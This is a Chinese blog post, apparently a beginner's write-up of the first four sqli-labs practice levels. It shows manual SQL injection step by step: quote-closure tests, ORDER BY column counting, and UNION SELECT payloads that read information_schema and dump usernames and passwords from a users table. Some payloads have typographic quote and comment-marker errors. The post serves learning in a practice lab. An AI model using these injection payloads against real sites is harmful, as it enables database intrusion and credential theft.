- 声明:其实我本人已经做到第30题左右了,但是一直是用sqlmap跑的(因为最近事情比较多),所以回来补一下手注知识顺便做一下博客方便以后的复习。因为第一关能够代表下面三关所以重点讲下第一关。*
第一题
进入输入?id=1’然后报错
分析猜测SQL语句:select * from users where id=‘1’ limit0,1(注:这里users还不知道),并猜测注入类型为字符型
接下来验证猜测:先作一次闭合,再将后面的语句注释掉。语句如下:?id=1’ --+
得到以上画面,说明猜测正确,
1.接下来判断字段数,利用以下语句:
?id=1’ order by 4–+
说明字段数为4.
2.接下来构造语句来获取表名。
0’ union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() - -+
猜测用户名,密码在users表内。
3.构造语句猜列名:0’ union select 1,group_concat(column_name),3 from information_schema.columns where table_name=‘users’ —+
4.最后就是获取字段值,利用语句:0’ union select 1,group_concat(username,0x3a,password),3 from users—+
最后爆出字段值。
总结:首先利用’判断类型,然后构造语句来进行注入。
第二题
利用单引号判断类型。
得出是基于数字的注入。下面就好解决了。直接构造语句:?id=1 order by 4–+ 判断字段数。后面的语句也大同小异也就是去掉1后面的单引号。
第三题
和上面一样利用单引号判断类型。
发现多出一个)分析得SQL语句为 select * from users where id=(‘1’) limit 0,1
方法也大同小异,构造语句:?id=1’) order by 4–+判断字段数,后面也是差不多的(我比较懒,能省就省)。
第四题
第四题利用单引号判断,发现不行,在利用?id=1
判断出SQL语句为: select * from users where id=(“1”)
这样就好办了,直接构造语句:?id=1") order by 4–+
- 最后重声明一下,由于本人比较菜,希望大牛勿喷,后面的题目有空就补一下,由于前面几题比较简单,sqlmap可以直接跑出,sqlmap的就不加上了。第一次写,排版不怎么好看。。。。